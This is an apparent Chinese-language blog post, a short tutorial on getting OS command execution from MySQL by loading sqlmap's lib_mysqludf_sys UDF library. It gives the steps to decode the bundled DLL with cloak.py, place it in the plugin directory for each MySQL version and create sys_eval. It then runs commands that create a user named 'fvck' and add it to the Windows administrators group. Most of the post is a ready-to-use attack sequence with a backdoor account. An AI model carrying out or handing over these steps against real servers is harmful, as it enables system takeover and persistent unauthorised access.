MySQL 利用UDF执行命令

UDF即User-Defined Functions


lib_mysqludf_sys 在github的介绍:

A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.

lib_mysqludf_sys的Github地址:https://github.com/mysqludf/lib_mysqludf_sys#readme


自动化注入工具Sqlmap已经集成了此功能。

在 sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_

(sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_,但是64位的测试失败)

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py
目录 sqlmap\extra\cloak\cloak.py 对 sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ 解码后,再直接利用


首先进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

在 D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_会生成 lib_mysqludf_sys.dll


攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。

函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。


目标机以windows为例,MySQL版本为5.6

攻击过程中,首先需要将lib_mysqludf_sys ( 目标为windows时,lib_mysqludf_sys.dll;linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。

然后,创建UDF。

lib_mysqludf_sys.dll的导出路径:

MySQL<5.0,导出路径随意;

5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)

MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。


创建相应的函数:

create function sys_eval returns string soname 'udf.dll';


执行命令:

select sys_eval(‘whoami’);


select sys_eval(‘net user fvck fvck /add’);
select sys_eval(‘net localgroup administrators fvck /add’);

  • 5
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值